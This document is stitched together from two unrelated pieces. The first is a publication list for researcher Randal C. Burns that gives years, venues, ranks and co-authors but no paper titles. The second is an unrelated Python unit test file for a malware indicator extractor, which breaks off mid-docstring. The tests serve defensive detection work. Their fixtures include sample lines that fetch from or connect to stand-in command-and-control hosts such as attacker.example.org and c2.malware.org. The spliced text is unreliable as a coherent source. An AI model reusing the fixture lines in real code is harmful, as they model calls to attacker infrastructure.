Randal C. Burns

151 papers A* 9A 33B 13C 2Misc 3Journal 62Unranked 29
YearRankTypeTitle / Venue / Authors
2026 conf
EuroMLSys@EuroSys
Leyang Xue, Meghana Madhyastha, Myungjin Lee, Amos J. Storkey, Randal C. Burns, Mahesh K. Marina
2026 J jnl
CoRR
Ariel Lubonja, Jungsang Yoon, Haoyin Xu, Yue Wan, Yilin Xu, Richard Stotz, Mathieu Guillame-Bert, Joshua T. Vogelstein, Randal C. Burns
2025 conf
MLMI@MICCAI
Ariel Lubonja, Pedro R. A. S. Bassi, Wenxuan Li, Hualin Qiao, Randal C. Burns, Alan L. Yuille, Zongwei Zhou
2025 J jnl
CoRR
Ariel Lubonja, Pedro R. A. S. Bassi, Wenxuan Li, Hualin Qiao, Randal C. Burns, Alan L. Yuille, Zongwei Zhou
2025 J jnl
CoRR
Leyang Xue, Meghana Madhyastha, Myungjin Lee, Amos J. Storkey, Randal C. Burns, Mahesh K. Marina
2025 A* conf
MobiCom
Leyang Xue, Meghana Madhyastha, Myungjin Lee, Amos Storkey, Randal C. Burns, Mahesh K. Marina
2025 J jnl
CoRR
Leyang Xue, Meghana Madhyastha, Randal C. Burns, Myungjin Lee, Mahesh K. Marina
2024 conf
HPEC
Brian Wheatman, Randal C. Burns, Helen Xu
2024 B conf
PPoPP
Brian Wheatman, Randal C. Burns, Aydin Buluç, Helen Xu
2024 conf
IPDPS (Workshops)
Ariel Lubonja, Cencheng Shen, Carey E. Priebe, Randal C. Burns
2024 J jnl
CoRR
Ariel Lubonja, Cencheng Shen, Carey E. Priebe, Randal C. Burns
2024 A conf
HPDC
Robert Underwood, Meghana Madhyastha, Randal C. Burns, Bogdan Nicolae
2024 J jnl
CoRR
Brian Wheatman, Meghana Madhyastha, Randal C. Burns
2024 A* conf
ICDE
Meghana Madhyastha, Tamas Budavari, Vladimir Braverman, Joshua T. Vogelstein, Randal C. Burns
2023 J jnl
CoRR
Brian Wheatman, Randal C. Burns, Aydin Buluç, Helen Xu
2023 A conf
ICS
Meghana Madhyastha, Robert Underwood, Randal C. Burns, Bogdan Nicolae
2023 A conf
ALENEX
Brian Wheatman, Randal C. Burns, Aydin Buluç, Helen Xu
2023 conf
CoLLAs
Ashwin De Silva, Rahul Ramesh, Lyle H. Ungar, Marshall G. Hussain Shuler, Noah J. Cowan, Michael L. Platt, Chen Li, Leyla Isik, Seung-Eon Roh, Adam S. Charles, Archana Venkataraman, Brian Caffo, Javier J. How, Justus M. Kebschull, John W. Krakauer, Maxim Bichuch, Kaleab Alemayehu Kinfu, Eva Yezerets, Dinesh Jayaraman, Jong M. Shin, Soledad Villar, Ian Phillips, Carey E. Priebe, Thomas Hartung, Michael I. Miller, Jayanta Dey, Ningyuan Huang, Eric Eaton, Ralph Etienne-Cummings, Elizabeth L. Ogburn, Randal C. Burns, Onyema Osuagwu, Brett Mensh, Alysson R. Muotri, Julia Brown, Chris White, Weiwei Yang, Andrei A. Rusu, Timothy D. Verstynen, Konrad P. Kording, Pratik Chaudhari, Joshua T. Vogelstein
2023 Misc conf
HiPC
Robert Underwood, Meghana Madhyastha, Randal C. Burns, Bogdan Nicolae
2023 J jnl
CoRR
Robert Underwood, Meghana Madhyastha, Randal C. Burns, Bogdan Nicolae
2022 J jnl
CoRR
Joshua T. Vogelstein, Timothy D. Verstynen, Konrad P. Kording, Leyla Isik, John W. Krakauer, Ralph Etienne-Cummings, Elizabeth L. Ogburn, Carey E. Priebe, Randal C. Burns, Kwame S. Kutten, James J. Knierim, James B. Potash, Thomas Hartung, Lena Smirnova, Paul Worley, Alena V. Savonenko, Ian Phillips, Michael I. Miller, René Vidal, Jeremias Sulam, Adam S. Charles, Noah J. Cowan, Maxim Bichuch, Archana Venkataraman, Chen Li, Nitish V. Thakor, Justus M. Kebschull, Marilyn S. Albert, Jinchong Xu, Marshall G. Hussain Shuler, Brian Caffo, J. Tilak Ratnanather, Ali Geisa, Seung-Eon Roh, Eva Yezerets, Meghana Madhyastha, Javier J. How, Tyler M. Tomita, Jayanta Dey, Ningyuan Huang, Jong M. Shin, Kaleab Alemayehu Kinfu, Pratik Chaudhari, Ben Baker, Anna Schapiro, Dinesh Jayaraman, Eric Eaton, Michael L. Platt, Lyle H. Ungar, Leila Wehbe, Ádám Kepecs, Amy Christensen, Onyema Osuagwu, Bing Brunton, Brett Mensh, Alysson R. Muotri, Gabriel A. Silva, Francesca Puppo, Florian Engert, Elizabeth Hillman, Julia Brown, Chris White, Weiwei Yang
2022 B conf
e-Science
Peter Gu, Tamás Budavári, Amanda Galante, Randal C. Burns
2021 A* conf
KDD
Meghana Madhyastha, Kunal Lillaney, James Browne, Joshua T. Vogelstein, Randal C. Burns
2021 conf
IEEE BigData
Brian Wheatman, Randal C. Burns
2021 A conf
EuroSys
Brian Choi, Randal C. Burns, Peng Huang
2020 J jnl
eLearn Mag.
Randal C. Burns
2020 A* conf
KDD
Meghana Madhyastha, Gongkai Li, Veronika Strnadová-Neeley, James Browne, Joshua T. Vogelstein, Randal C. Burns, Carey E. Priebe
2020 J jnl
CoRR
Brian Choi, Parv Saxena, Ryan Huang, Randal C. Burns
2020 J jnl
CoRR
Meghana Madhyastha, Kunal Lillaney, James Browne, Joshua T. Vogelstein, Randal C. Burns
2020 J jnl
J. Mach. Learn. Res.
Tyler M. Tomita, James Browne, Cencheng Shen, Jaewon Chung, Jesse Patsolic, Benjamin Falk, Carey E. Priebe, Jason Yim, Randal C. Burns, Mauro Maggioni, Joshua T. Vogelstein
2019 conf
SoCC
Kunal Lillaney, Vasily Tarasov, David Pease, Randal C. Burns
2019 A conf
SDM
James Browne, Disa Mhembere, Tyler M. Tomita, Joshua T. Vogelstein, Randal C. Burns
2019 J jnl
CoRR
Meghana Madhyastha, Percy Li, James Browne, Veronika Strnadová-Neeley, Carey E. Priebe, Randal C. Burns, Joshua T. Vogelstein
2019 J jnl
CoRR
Disa Mhembere, Da Zheng, Carey E. Priebe, Joshua T. Vogelstein, Randal C. Burns
2019 conf
HotStorage
Kunal Lillaney, Vasily Tarasov, David Pease, Randal C. Burns
2019 J jnl
CoRR
Kunal Lillaney, Vasily Tarasov, David Pease, Randal C. Burns
2019 J jnl
CoRR
Disa Mhembere, Da Zheng, Carey E. Priebe, Joshua T. Vogelstein, Randal C. Burns
2018 conf
eScience
Kunal Lillaney, Dean Kleissas, Alexander Eusman, Eric A. Perlman, William R. Gray Roncal, Joshua T. Vogelstein, Randal C. Burns
2018 B conf
PPoPP
Da Zheng, Disa Mhembere, Joshua T. Vogelstein, Carey E. Priebe, Randal C. Burns
2018 J jnl
CoRR
James Browne, Tyler M. Tomita, Disa Mhembere, Randal C. Burns, Joshua T. Vogelstein
2018 J jnl
J. Parallel Distributed Comput.
Jesus Pulido, Daniel Livescu, Kalin Kanov, Randal C. Burns, Curtis Canada, James P. Ahrens, Bernd Hamann
2017 C conf
ISC
Stephen Hamilton, Randal C. Burns, Charles Meneveau, Perry Johnson, Peter Lindstrom, John Patchett, Alexander S. Szalay
2017 J jnl
IEEE Trans. Parallel Distributed Syst.
Da Zheng, Disa Mhembere, Vince Lyzinski, Joshua T. Vogelstein, Carey E. Priebe, Randal C. Burns
2017 J jnl
Nat.
David Grant Colburn Hildebrand, Marcelo Cicconet, Russel Miguel Torres, Woohyuk Choi, Tran Minh Quan, Jungmin Moon, Arthur W. Wetzel, Andrew Scott Champion, Brett J. Graham, Owen Randlett, George S. Plummer, Ruben Portugues, Isaac Henry Bianco, Stephan Saalfeld, Alexander D. Baden, Kunal Lillaney, Randal C. Burns, Joshua T. Vogelstein, Alexander Schier, Wei-Chung Allen Lee, Won-Ki Jeong, Jeff William Lichtman, Florian Engert
2017 A conf
HPDC
Disa Mhembere, Da Zheng, Carey E. Priebe, Joshua T. Vogelstein, Randal C. Burns
2016 J jnl
CoRR
Da Zheng, Randal C. Burns, Joshua T. Vogelstein, Carey E. Priebe, Alexander S. Szalay
2016 J jnl
CoRR
Da Zheng, Disa Mhembere, Joshua T. Vogelstein, Carey E. Priebe, Randal C. Burns
2016 J jnl
CoRR
Disa Mhembere, Da Zheng, Joshua T. Vogelstein, Carey E. Priebe, Randal C. Burns
2016 J jnl
CoRR
Da Zheng, Disa Mhembere, Vince Lyzinski, Joshua T. Vogelstein, Carey E. Priebe, Randal C. Burns
2015 J jnl
Frontiers Neuroinformatics
William R. Gray Roncal, Dean M. Kleissas, Joshua T. Vogelstein, Priya Manavalan, Kunal Lillaney, Michael J. Pekala, Randal C. Burns, R. Jacob Vogelstein, Carey E. Priebe, Mark A. Chevillet, Gregory D. Hager
2015 B conf
EDBT
Kalin Kanov, Randal C. Burns, Cristian Constantin Lalescu
2015 A conf
FAST
Da Zheng, Disa Mhembere, Randal C. Burns, Joshua T. Vogelstein, Carey E. Priebe, Alexander S. Szalay
2015 J jnl
CoRR
Michael M. Kazhdan, Kunal Lillaney, William R. Gray Roncal, Davi Bock, Joshua T. Vogelstein, Randal C. Burns
2015 J jnl
CoRR
Da Zheng, Randal C. Burns, Alexander S. Szalay
2015 A conf
SC
Kalin Kanov, Randal C. Burns
2015 B conf
e-Science
Zaoxing Liu, Nikita Ivkin, Lin Yang, Mark Neyrinck, Gerard Lemson, Alexander S. Szalay, Vladimir Braverman, Tamas Budavari, Randal C. Burns, Xin Wang
2015 J jnl
Comput. Sci. Eng.
Kalin Kanov, Randal C. Burns, Cristian Constantin Lalescu, Gregory L. Eyink
2015 A conf
BMVC
William R. Gray Roncal, Michael J. Pekala, Verena Kaynig-Fittkau, Dean M. Kleissas, Joshua T. Vogelstein, Hanspeter Pfister, Randal C. Burns, R. Jacob Vogelstein, Mark A. Chevillet, Gregory D. Hager
2014 J jnl
CoRR
Heng Wang, Da Zheng, Randal C. Burns, Carey E. Priebe
2014 J jnl
CoRR
William R. Gray Roncal, Dean Kleissas, Joshua T. Vogelstein, Priya Manavalan, Randal C. Burns, R. Jacob Vogelstein, Carey E. Priebe, Mark A. Chevillet, Gregory D. Hager
2014 J jnl
CoRR
Ayushi Sinha, William R. Gray Roncal, Narayanan Kasthuri, Jeff W. Lichtman, Randal C. Burns, Michael M. Kazhdan
2014 J jnl
CoRR
Ayushi Sinha, William R. Gray Roncal, Narayanan Kasthuri, Ming Chuang, Priya Manavalan, Dean Kleissas, Joshua T. Vogelstein, R. Jacob Vogelstein, Randal C. Burns, Jeff W. Lichtman, Michael M. Kazhdan
2014 J jnl
CoRR
Da Zheng, Disa Mhembere, Randal C. Burns, Alexander S. Szalay
2014 Misc ed.
SYSTOR
Eliezer Dekel, Randal C. Burns, Roy Friedman
2013 J jnl
CoRR
Disa Mhembere, William R. Gray Roncal, Daniel L. Sussman, Carey E. Priebe, Rex E. Jung, Sephira Ryman, R. Jacob Vogelstein, Joshua T. Vogelstein, Randal C. Burns
2013 conf
GlobalSIP
Disa Mhembere, William R. Gray Roncal, Daniel L. Sussman, Carey E. Priebe, Rex E. Jung, Sephira Ryman, R. Jacob Vogelstein, Joshua T. Vogelstein, Randal C. Burns
2013 J jnl
Nat.
Gregory L. Eyink, Ethan Vishniac, Cristian Constantin Lalescu, Hussein Aluie, Kalin Kanov, Kai Bürger, Randal C. Burns, Charles Meneveau, Alexander S. Szalay
2013 J jnl
CoRR
Michael M. Kazhdan, Randal C. Burns, Bobby Kasthuri, Jeff Lichtman, R. Jacob Vogelstein, Joshua T. Vogelstein
2013 B conf
SSDBM
Daniel Crankshaw, Randal C. Burns, Bridget Falck, Tamas Budavari, Alexander S. Szalay, Jie Wang
2013 conf
GlobalSIP
William R. Gray Roncal, Zachary H. Koterba, Disa Mhembere, Dean M. Kleissas, Joshua T. Vogelstein, Randal C. Burns, Anita R. Bowles, Dimitrios K. Donavos, Sephira Ryman, Rex E. Jung, Lei Wu, Vince D. Calhoun, R. Jacob Vogelstein
2013 J jnl
CoRR
William R. Gray Roncal, Zachary H. Koterba, Disa Mhembere, Dean Kleissas, Joshua T. Vogelstein, Randal C. Burns, Anita R. Bowles, Dimitrios K. Donavos, Sephira Ryman, Rex E. Jung, Lei Wu, Vince D. Calhoun, R. Jacob Vogelstein
2013 J jnl
CoRR
Randal C. Burns, William R. Gray Roncal, Dean Kleissas, Kunal Lillaney, Priya Manavalan, Eric A. Perlman, Daniel R. Berger, Davi Bock, Kwanghun Chung, Logan Grosenick, Narayanan Kasthuri, Nicholas C. Weiler, Karl Deisseroth, Michael M. Kazhdan, Jeff Lichtman, R. Clay Reid, Stephen J. Smith, Alexander S. Szalay, Joshua T. Vogelstein, R. Jacob Vogelstein
2013 B conf
SSDBM
Randal C. Burns, Kunal Lillaney, Daniel R. Berger, Logan Grosenick, Karl Deisseroth, R. Clay Reid, William R. Gray Roncal, Priya Manavalan, Davi Bock, Narayanan Kasthuri, Michael M. Kazhdan, Stephen J. Smith, Dean Kleissas, Eric A. Perlman, Kwanghun Chung, Nicholas C. Weiler, Jeff Lichtman, Alexander S. Szalay, Joshua T. Vogelstein, R. Jacob Vogelstein
2013 A conf
SC
Da Zheng, Randal C. Burns, Alexander S. Szalay
2012 conf
HotStorage
Da Zheng, Randal C. Burns, Alexander S. Szalay
2012 A conf
SC
Kalin Kanov, Randal C. Burns, Gregory L. Eyink, Charles Meneveau, Alexander S. Szalay
2012 A conf
FAST
Osama Khan, Randal C. Burns, James S. Plank, William Pierce, Cheng Huang
2011 conf
SPRINGL
Paul T. Stanton, Randal C. Burns
2011 conf
SoCC
Xiaodan Wang, Christopher Olston, Anish Das Sarma, Randal C. Burns
2011 A conf
SC
Kalin Kanov, Eric A. Perlman, Randal C. Burns, Yanif Ahmad, Alexander S. Szalay
2011 conf
HotStorage
Osama Khan, Randal C. Burns, James S. Plank, Cheng Huang
2011 C conf
EuroMPI
Edward Givelberg, Alexander S. Szalay, Kalin Kanov, Randal C. Burns
2011 J jnl
ACM Trans. Inf. Syst. Secur.
Giuseppe Ateniese, Randal C. Burns, Reza Curtmola, Joseph Herring, Osama Khan, Lea Kissner, Zachary N. J. Peterson, Dawn Song
2011 J jnl
CoRR
Ragib Hasan, Randal C. Burns
2011 J jnl
CoRR
Ragib Hasan, Randal C. Burns
2010 A ed.
FAST
Randal C. Burns, Kimberly Keeton
2010 J jnl
ACM SIGOPS Oper. Syst. Rev.
Paul T. Stanton, Benjamin McKeown, Randal C. Burns, Giuseppe Ateniese
2010 J jnl
ACM Trans. Storage
Randal C. Burns, Kimberly Keeton
2010 A conf
SC
Xiaodan Wang, Eric A. Perlman, Randal C. Burns, Tanu Malik, Tamas Budavari, Charles Meneveau, Alexander S. Szalay
2010 B conf
SSDBM
Eric A. Perlman, Randal C. Burns, Michael M. Kazhdan, Rebecca R. Murphy, William P. Ball, Nina Amenta
2010 conf
EUROSEC
Neal H. Walfield, Paul T. Stanton, John Linwood Griffin, Randal C. Burns
2010 conf
CCSW
Bo Chen, Reza Curtmola, Giuseppe Ateniese, Randal C. Burns
2010 J jnl
SIGMOD Rec.
Yanif Ahmad, Randal C. Burns, Michael M. Kazhdan, Charles Meneveau, Alexander S. Szalay, Andreas Terzis
2010 J jnl
Commun. ACM
Randal C. Burns, Zachary N. J. Peterson
2010 J jnl
Int. J. Sens. Networks
Andreas Terzis, Razvan Musaloiu-Elefteri, Joshua Cogan, Katalin Szlavecz, Alexander S. Szalay, Jim Gray, Stuart Ozer, Chieh-Jan Mike Liang, Jayant Gupchup, Randal C. Burns
2009 B conf
SSDBM
Tanu Malik, Xiaodan Wang, Debabrata Dash, Amitabh Chaudhary, Anastasia Ailamaki, Randal C. Burns
2009 conf
PPAM (2)
Sarah M. Richardson, Brian S. Olson, Jessica S. Dymond, Randal C. Burns, Srinivasan Chandrasegaran, Jef D. Boeke, Amarda Shehu, Joel S. Bader
2009 A conf
FAST
Alexandros Batsakis, Randal C. Burns, Arkady Kanevsky, James Lentini, Thomas Talpey
2009 J jnl
ACM Trans. Storage
Alexandros Batsakis, Randal C. Burns, Arkady Kanevsky, James Lentini, Thomas Talpey
2009 conf
HICSS
Alexander S. Szalay, Gordon Bell, Jan vandenBerg, Alainna Wonders, Randal C. Burns, Dan Fay, Jim Heasley, Tony Hey, María A. Nieto-Santisteban, Ani Thakar, Catharine van Ingen, Richard Wilton
2009 J jnl
CoRR
Xiaodan Wang, Randal C. Burns, Tanu Malik
2009 A conf
CIDR
Xiaodan Wang, Randal C. Burns, Tanu Malik
2009 J jnl
CoRR
Jayant Gupchup, Andreas Terzis, Randal C. Burns, Alexander S. Szalay
2009 conf
ISVC (1)
Matthew Bolitho, Michael M. Kazhdan, Randal C. Burns, Hugues Hoppe
2008 A conf
FAST
Alexandros Batsakis, Randal C. Burns, Arkady Kanevsky, James Lentini, Thomas Talpey
2008 conf
ICDE Workshops
Tanu Malik, Xiaodan Wang, Randal C. Burns, Debabrata Dash, Anastasia Ailamaki
2008 A conf
ICDCS
Reza Curtmola, Osama Khan, Randal C. Burns, Giuseppe Ateniese
2008 J jnl
IEEE Trans. Parallel Distributed Syst.
Alexandros Batsakis, Randal C. Burns
2008 A* conf
ICDE
Xiaodan Wang, Randal C. Burns, Andreas Terzis, Amol Deshpande
2008 J jnl
Proc. VLDB Endow.
Eric A. Perlman, Randal C. Burns, Michael M. Kazhdan
2008 conf
StorageSS
Reza Curtmola, Osama Khan, Randal C. Burns
2008 A* conf
ICDE
Randal C. Burns, Susan B. Davidson, Yannis E. Ioannidis, Miron Livny, Jignesh M. Patel
2008 B conf
DaWaK
Tanu Malik, Randal C. Burns
2007 A conf
CIDR
Tanu Malik, Randal C. Burns, Nitesh V. Chawla
2007 B conf
DASFAA
Xiaodan Wang, Tanu Malik, Randal C. Burns, Stratos Papadomanolakis, Anastassia Ailamaki
2007 A conf
SC
Eric A. Perlman, Randal C. Burns, Yi Li, Charles Meneveau
2007 A conf
FAST
Zachary N. J. Peterson, Randal C. Burns, Giuseppe Ateniese, Stephen Bono
2007 J jnl
CoRR
Katalin Szlavecz, Andreas Terzis, Stuart Ozer, Razvan Musaloiu-Elefteri, Joshua Cogan, Sam Small, Randal C. Burns, Jim Gray, Alexander S. Szalay
2007 B conf
Symposium on Geometry Processing
Matthew Bolitho, Michael M. Kazhdan, Randal C. Burns, Hugues Hoppe
2007 J jnl
IACR Cryptol. ePrint Arch.
Giuseppe Ateniese, Randal C. Burns, Reza Curtmola, Joseph Herring, Lea Kissner, Zachary N. J. Peterson, Dawn Song
2007 A* conf
CCS
Giuseppe Ateniese, Randal C. Burns, Reza Curtmola, Joseph Herring, Lea Kissner, Zachary N. J. Peterson, Dawn Xiaodong Song
2007 conf
NetDB
Xiaodan Wang, Randal C. Burns, Andreas Terzis
2006 conf
DG.O
Zachary N. J. Peterson, Randal C. Burns
2006 Misc conf
SenSys
Stuart Ozer, Jim Gray, Alexander S. Szalay, Andreas Terzis, Razvan Musaloiu-Elefteri, Katalin Szlavecz, Randal C. Burns, Joshua Cogan
2006 A conf
SC
Tanu Malik, Randal C. Burns, Nitesh V. Chawla, Alexander S. Szalay
2006 A conf
HPDC
Changxun Wu, Randal C. Burns
2006 A conf
SC
Eric A. Perlman, Randal C. Burns
2005 A* conf
ICDE
Tanu Malik, Randal C. Burns, Amitabh Chaudhary
2005 A conf
HPDC
Alexandros Batsakis, Randal C. Burns
2005 J jnl
ACM Trans. Storage
Zachary N. J. Peterson, Randal C. Burns
2005 A conf
FAST
Zachary N. J. Peterson, Randal C. Burns, Joseph Herring, Adam Stubblefield, Aviel D. Rubin
2005 J jnl
ACM Trans. Storage
Changxun Wu, Randal C. Burns
2005 conf
StorageSS
Randal C. Burns, Zachary N. J. Peterson, Giuseppe Ateniese, Stephen Bono
2004 A conf
HPDC
Changxun Wu, Randal C. Burns
2004 A conf
SC
Randal C. Burns
2003 A conf
SC
Changxun Wu, Randal C. Burns
2003 J jnl
IEEE Trans. Knowl. Data Eng.
Randal C. Burns, Larry J. Stockmeyer, Darrell D. E. Long
2003 conf
USENIX ATC, FREENIX Track
David Rasch, Randal C. Burns
2003 conf
IEEE Symposium on Mass Storage Systems
Gary A. S. Whittle, Jehan-François Pâris, Ahmed Amer, Darrell D. E. Long, Randal C. Burns
2002 J jnl
J. ACM
Miklós Ajtai, Randal C. Burns, Ronald Fagin, Darrell D. E. Long, Larry J. Stockmeyer
2002 A conf
ICDCS
Ahmed Amer, Darrell D. E. Long, Randal C. Burns
2001 B conf
MASCOTS
Randal C. Burns, Wayne Hineman
2001 A conf
ICDCS
Randal C. Burns, Robert M. Rees, Darrell D. E. Long
2001 J jnl
IEEE Internet Comput.
Randal C. Burns, Robert M. Rees, Darrell D. E. Long
2001 J jnl
Clust. Comput.
Randal C. Burns, Robert M. Rees, Larry J. Stockmeyer, Darrell D. E. Long
2000 J jnl
IEEE Micro
Benjamin C. Reed, Edward G. Chron, Randal C. Burns, Darrell D. E. Long
2000 J jnl
SIGMETRICS Perform. Evaluation Rev.
Randal C. Burns, Darrell D. E. Long, Robert M. Rees
2000 A conf
IPDPS
Randal C. Burns, Robert M. Rees, Darrell D. E. Long
1998 A* conf
PODC
Randal C. Burns, Darrell D. E. Long
1998 conf
IW-MMDBMS
Randal C. Burns, Inderpal Narang
1997 conf
IOPADS
Randal C. Burns, Darrell D. E. Long
tests/unit/test_decompile_ioc_extractor.py
← Index tests/unit/test_decompile_ioc_extractor.py python
"""Unit tests for IOC extraction modules:
- ioc_extractor/ioc_extractor.py — IOCExtractorFromResults
- ioc_extractor/standalone_ioc_extractor.py — IOCScraper
"""
import pytest
from unittest.mock import MagicMock

from redb.extractors.ioc_extractor.standalone_ioc_extractor import (
    IOCScraper,
    IOCType,
    SourceType,
    ExtractedIOC,
)
from redb.extractors.ioc_extractor.ioc_extractor import IOCExtractorFromResults


# ============================================================================
# 8a. IOCExtractorFromResults
# ============================================================================

class TestIOCExtractorFromResults:
    def setup_method(self):
        self.log = MagicMock()

    def test_extract_from_strings(self):
        results = {
            "strings": [
                {"string": "Visit https://evil.com/payload", "string_offset": 0x100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_from_decompiled(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "connect_to('https://c2.malware.org/gate');",
                    "decompiled_function_hash": "hash123",
                    "function_type": "USER",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_skips_library_functions(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "call https://should-skip.com",
                    "decompiled_function_hash": "lib_hash",
                    "function_type": "LIBRARY",
                },
                {
                    "decompiled_function": "jmp https://also-skip.com",
                    "decompiled_function_hash": "thunk_hash",
                    "function_type": "THUNK",
                },
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_handles_bytes_strings(self):
        results = {
            "strings": [
                {"string": b"Visit https://evil.net/gate", "string_offset": 0}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_empty_results(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_from_text_raw(self):
        """text_raw entries are scraped and tagged with SourceType.TEXT_RAW."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {
                    "content": "var x = fetch('https://attacker.example.org/c2');",
                    "content_hash": "rawhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL and ioc.source_type == SourceType.TEXT_RAW
            for ioc in iocs
        )

    def test_extract_from_text_normalized(self):
        """text_normalized entries are scraped and tagged with TEXT_NORMALIZED.
        This is the surface that catches IOCs hidden behind eval(atob(...)) or
        similar wrappers — the deobfuscator unwraps them, this path scrapes
        the unwrapped form."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_normalized": [
                {
                    "content": "fetch('http://hidden.example.com/payload');",
                    "content_hash": "normhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL
            and ioc.source_type == SourceType.TEXT_NORMALIZED
            for ioc in iocs
        )

    def test_extract_text_surfaces_distinct_from_decompiled(self):
        """Same URL appearing in raw and normalized forms produces two IOCs
        with distinct source_type values, so analysts can tell them apart."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {"content": "https://shared.example.com/", "content_hash": "h1"}
            ],
            "text_normalized": [
                {"content": "https://shared.example.com/", "content_hash": "h2"}
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        kinds = {ioc.source_type for ioc in iocs if ioc.ioc_type == IOCType.URL}
        assert SourceType.TEXT_RAW in kinds
        assert SourceType.TEXT_NORMALIZED in kinds

    def test_prepare_export_clickhouse(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is not None
        data, col_names, col_types = export
        assert len(data) > 0
        assert len(col_names) == 6
        assert len(col_types) == 6

    def test_prepare_export_print(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("PrintExporter")
        assert isinstance(export, list)
        assert len(export) > 0
        assert "sha256" in export[0]
        assert "ioc_type" in export[0]

    def test_prepare_export_no_iocs(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is None

    def test_get_clickhouse_table(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        assert extractor.get_clickhouse_table() == "redb_iocs"

    def test_tag(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        tag = extractor.tag()
        assert isinstance(tag, str)


# ============================================================================
# 8b. IOCScraper (standalone_ioc_extractor.py)
# ============================================================================

class TestIOCScraperIPv4:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv4(self):
        # Use a routable public IP (not in RFC 5737 test ranges, not private)
        text = "Connect to 185.100.87.202 for command"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 1
        assert ipv4_iocs[0].ioc_value == "185.100.87.202"

    def test_scrape_ipv4_private_excluded(self):
        text = "192.168.1.1 and 8.8.8.8"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 0


class TestIOCScraperIPv6:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv6(self):
        text = "Connect to 2001:0db8:85a3:0000:0000:8a2e:0370:7334"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv6_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV6]
        # 2001:0db8 is documentation range, but the regex may still match
        # we just check no crash and proper handling
        assert isinstance(ipv6_iocs, list)


class TestIOCScraperURL:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_url(self):
        text = 'load("https://evil.com/payload")'
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1
        assert "evil.com" in url_iocs[0].ioc_value

    def test_scrape_defanged_url(self):
        text = "hxxps://evil[.]com/payload"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1


class TestIOCScraperEmail:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_email(self):
        text = "Send report to [email protected] for review"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        email_iocs = [i for i in iocs if i.ioc_type == IOCType.EMAIL]
        assert len(email_iocs) >= 1
        assert email_iocs[0].ioc_value == "[email protected]"


class TestIOCScraperFQDN:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_fqdn(self):
        text = "Resolved evil.com in DNS lookup"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert any(ioc.ioc_value == "evil.com" for ioc in fqdn_iocs)

    def test_scrape_fqdn_excluded(self):
        text = "Visit example.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert not any(ioc.ioc_value == "example.com" for ioc in fqdn_iocs)


class TestIOCScraperJSContext:
    """Verifies the JS-context FQDN filter rejects JS object-access syntax
    that shape-matches a hostname while preserving real C2 hostnames.

